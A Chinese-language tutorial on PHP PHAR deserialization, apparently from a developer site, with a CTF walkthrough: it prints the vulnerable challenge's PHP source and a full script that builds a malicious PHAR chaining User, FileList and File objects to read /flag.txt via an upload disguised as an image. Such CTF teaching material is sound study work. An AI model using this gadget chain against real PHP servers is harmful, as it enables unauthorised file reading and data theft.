PHP開發(fā)技巧之PHAR反序列化詳解
引文
之前將PHP反序列化的基礎(chǔ)知識講了一遍,不知道大家學(xué)習(xí)的怎么樣了,今天給大家?guī)鞵HP反序列化的進(jìn)階知識:PHAR反序列化,也是之前本人在CTF比賽中經(jīng)常遇到的一種php反序列化的進(jìn)階使用吧,下面先給大家講一講PHAR反序列化的前置知識。
前置知識
PHAR
在軟件中,PHAR(PHP歸檔)文件是一種打包格式,通過將許多PHP代碼文件和其他資源(例如圖像,樣式表等)捆綁到一個(gè)歸檔文件中來實(shí)現(xiàn)應(yīng)用程序和庫的分發(fā)。phar文件本質(zhì)上是一種壓縮文件,會(huì)以序列化的形式存儲(chǔ)用戶自定義的meta-data。當(dāng)受影響的文件操作函數(shù)調(diào)用phar文件時(shí),會(huì)自動(dòng)反序列化meta-data內(nèi)的內(nèi)容,這里就是我們反序列化漏洞的利用點(diǎn)。
接下來帶大家看一下如何構(gòu)造phar文件:
PHAR狀態(tài)是只讀的,創(chuàng)建一個(gè)的Phar文件需要允許寫入Phar文件,這需要修改一下:
php.ini:phar.readonly = Off; #php版本要大于等于5.2
其中php.ini為php的配置文件。
PHAR文件結(jié)構(gòu)
上面簡單介紹了phar的基本定義,接下來我們學(xué)習(xí)一下PHAR文件的基本結(jié)構(gòu):
A stub
phar文件的標(biāo)志,具體代碼為:
xxx<?php xxx; __HALT_COMPILER();?>
注意的是phar文件始終要以__HALT_COMPILER();?>來進(jìn)行結(jié)尾才能被識別為PHAR文件。
A manifest describing the contents
以序列化的形式存儲(chǔ)用戶自定義的meta-data,也是我們利用反序列化漏洞的點(diǎn)。
The file contents
壓縮的文件內(nèi)容。
signature
簽名信息,放在文件末尾。
PHAR文件生成樣例
了解了以上信息,我們就可以嘗試來構(gòu)建一個(gè)PHAR文件的生成,樣例代碼如下:
<?php class User{ var $name; } @unlink("XINO.phar"); $phar = new Phar("XINO.phar"); $phar->startBuffering(); $phar->setStub("<?php __HALT_COMPILER(); ?>"); $o = new User(); $o->name = "XINO"; $phar->setMetadata($o); $phar->addFromString("test.txt", "test"); $phar->stopBuffering(); ?>
運(yùn)行之后結(jié)果如下:
成功生成了名為XINO.phar的phar類型文件,我們放進(jìn)010editor查看:
看到 meta-data 序列化的內(nèi)容成功的保存到了文件中。我們再用phar協(xié)議去讀取就好了。這里需要注意的一點(diǎn)是:一些文件函數(shù) 通過 phar:// 偽協(xié)議解析phar文件時(shí)都會(huì)將meta-data反序列化,例如:
fileatime filectime filemtime file_exists file_get_contents file_put_contents file filegroup fopen fileinode fileowner fileperms is_dir is_file is_link is_executable is_readable is_writeable is_wirtble parse_ini_file copy unlink stat readfile info_file
實(shí)戰(zhàn)
學(xué)完上面的內(nèi)容后,我們便可以嘗試一下實(shí)戰(zhàn)了,先看看利用條件:
phar文件要能夠上傳到服務(wù)器端
要有可用的魔術(shù)方法作為"跳板"
文件操作函數(shù)的參數(shù)可控,且:、/、phar等特殊字符沒有被過濾
下面我們來看一個(gè)例題:
進(jìn)去是一個(gè)登陸界面,我們注冊登陸進(jìn)去,發(fā)現(xiàn)了一個(gè)文件上傳的點(diǎn)。要求得文件類型只能是gif/jpg/png的類型,需要抓包更改其Content-Type為image/jpeg或其它圖片格式的對應(yīng)字符串。抓包后會(huì)發(fā)現(xiàn)POST傳參download處存在任意文件下載:
下載源碼:index.php,delete.php,download.php,class.php
class.php:
<?php error_reporting(0); $dbaddr = "127.0.0.1"; $dbuser = "root"; $dbpass = "root"; $dbname = "dropbox"; $db = new mysqli($dbaddr, $dbuser, $dbpass, $dbname); class User { public $db; public function __construct() { global $db; $this->db = $db; } public function user_exist($username) { $stmt = $this->db->prepare("SELECT `username` FROM `users` WHERE `username` = ? LIMIT 1;"); $stmt->bind_param("s", $username); $stmt->execute(); $stmt->store_result(); $count = $stmt->num_rows; if ($count === 0) { return false; } return true; } public function add_user($username, $password) { if ($this->user_exist($username)) { return false; } $password = sha1($password . "SiAchGHmFx"); $stmt = $this->db->prepare("INSERT INTO `users` (`id`, `username`, `password`) VALUES (NULL, ?, ?);"); $stmt->bind_param("ss", $username, $password); $stmt->execute(); return true; } public function verify_user($username, $password) { if (!$this->user_exist($username)) { return false; } $password = sha1($password . "SiAchGHmFx"); $stmt = $this->db->prepare("SELECT `password` FROM `users` WHERE `username` = ?;"); $stmt->bind_param("s", $username); $stmt->execute(); $stmt->bind_result($expect); $stmt->fetch(); if (isset($expect) && $expect === $password) { return true; } return false; } public function __destruct() { $this->db->close(); } } class FileList { private $files; private $results; private $funcs; public function __construct($path) { $this->files = array(); $this->results = array(); $this->funcs = array(); $filenames = scandir($path); $key = array_search(".", $filenames); unset($filenames[$key]); $key = array_search("..", $filenames); unset($filenames[$key]); foreach ($filenames as $filename) { $file = new File(); $file->open($path . $filename); array_push($this->files, $file); $this->results[$file->name()] = array(); } } public function __call($func, $args) { array_push($this->funcs, $func); foreach ($this->files as $file) { $this->results[$file->name()][$func] = $file->$func(); } } public function __destruct() { $table = '<div id="container" class="container"><div class="table-responsive"><table id="table" class="table table-bordered table-hover sm-font">'; $table .= '<thead><tr>'; foreach ($this->funcs as $func) { $table .= '<th scope="col" class="text-center">' . htmlentities($func) . '</th>'; } $table .= '<th scope="col" class="text-center">Opt</th>'; $table .= '</thead><tbody>'; foreach ($this->results as $filename => $result) { $table .= '<tr>'; foreach ($result as $func => $value) { $table .= '<td class="text-center">' . htmlentities($value) . '</td>'; } $table .= '<td class="text-center" filename="' . htmlentities($filename) . '"><a href="#" rel="external nofollow" rel="external nofollow" class="download">下載</a> / <a href="#" rel="external nofollow" rel="external nofollow" class="delete">刪除</a></td>'; $table .= '</tr>'; } echo $table; } } class File { public $filename; public function open($filename) { $this->filename = $filename; if (file_exists($filename) && !is_dir($filename)) { return true; } else { return false; } } public function name() { return basename($this->filename); } public function size() { $size = filesize($this->filename); $units = array(' B', ' KB', ' MB', ' GB', ' TB'); for ($i = 0; $size >= 1024 && $i < 4; $i++) $size /= 1024; return round($size, 2).$units[$i]; } public function detele() { unlink($this->filename); } public function close() { return file_get_contents($this->filename); } } ?>
delete.php
<?php #delete.php session_start(); if (!isset($_SESSION['login'])) { header("Location: login.php"); die(); } if (!isset($_POST['filename'])) { die(); } include "class.php"; chdir($_SESSION['sandbox']); $file = new File(); $filename = (string) $_POST['filename']; if (strlen($filename) < 40 && $file->open($filename)) { $file->detele(); Header("Content-type: application/json"); $response = array("success" => true, "error" => ""); echo json_encode($response); } else { Header("Content-type: application/json"); $response = array("success" => false, "error" => "File not exist"); echo json_encode($response); } ?>
簡單分析一下:
創(chuàng)建一個(gè)user的對象,而且db變量是一個(gè)FileList對象,文件名為flag的路徑。這樣的話,當(dāng)user對象銷毀時(shí),db變量的close方法被執(zhí)行;而db變量沒有close方法,這樣就會(huì)觸發(fā)call魔術(shù)方法(不理解的可以去看之前的文章),于是執(zhí)行File對象的close方法。通過分析FileList類的析構(gòu)方法可以知道,close方法執(zhí)行后存在results變量里的結(jié)果會(huì)加入到table變量中被打印出來,也就是flag會(huì)被打印出來($this->filename=flag文件
)。
于是我們嘗試寫一個(gè)生成PHAR文件的腳本:
<?php class User { public $db; } class File { public $filename; } class FileList { private $files; public function __construct() { $file = new File(); $file->filename = "/flag.txt"; $this->files = array($file); } } $a = new User(); $a->db = new FileList(); $phar = new Phar("XINO.phar"); //后綴名必須為phar $phar->startBuffering(); $phar->addFromString("exp.txt", "test"); //添加要壓縮的文件 $phar->setStub("<?php __HALT_COMPILER(); ?>"); //設(shè)置stub $phar->setMetadata($a); //將自定義的meta-data存入manifest //簽名自動(dòng)計(jì)算 $phar->stopBuffering(); ?>
生成文件后將PHAR文件改文件類型然后上傳,之后用PHAR協(xié)議去讀取就可以得到flag。
結(jié)語
今天比較詳細(xì)的講了PHAR反序列化漏洞的原理以及應(yīng)用方法,可能剛開始學(xué)不太好理解,可以根據(jù)之前PHP反序列化的思路去理解一下。有興趣的小伙伴可以自己去搭建靶機(jī)來進(jìn)行測試,喜歡的小伙伴不妨一鍵三連。
以上就是PHP開發(fā)技巧之PHAR反序列化詳解的詳細(xì)內(nèi)容,更多關(guān)于PHP開發(fā)PHAR反序列化的資料請關(guān)注腳本之家其它相關(guān)文章!
相關(guān)文章
php算開始時(shí)間到過期時(shí)間的相隔的天數(shù)
php算開始時(shí)間到過期時(shí)間的相隔的天數(shù),同理可以實(shí)現(xiàn)相隔年,小時(shí),分,秒等數(shù)2011-01-01PHP實(shí)現(xiàn)將多個(gè)文件中的內(nèi)容合并為新文件的方法示例
這篇文章主要介紹了PHP實(shí)現(xiàn)將多個(gè)文件中的內(nèi)容合并為新文件的方法,涉及php編碼轉(zhuǎn)換、文件與目錄的遍歷以及文件讀寫相關(guān)操作技巧,需要的朋友可以參考下2017-06-06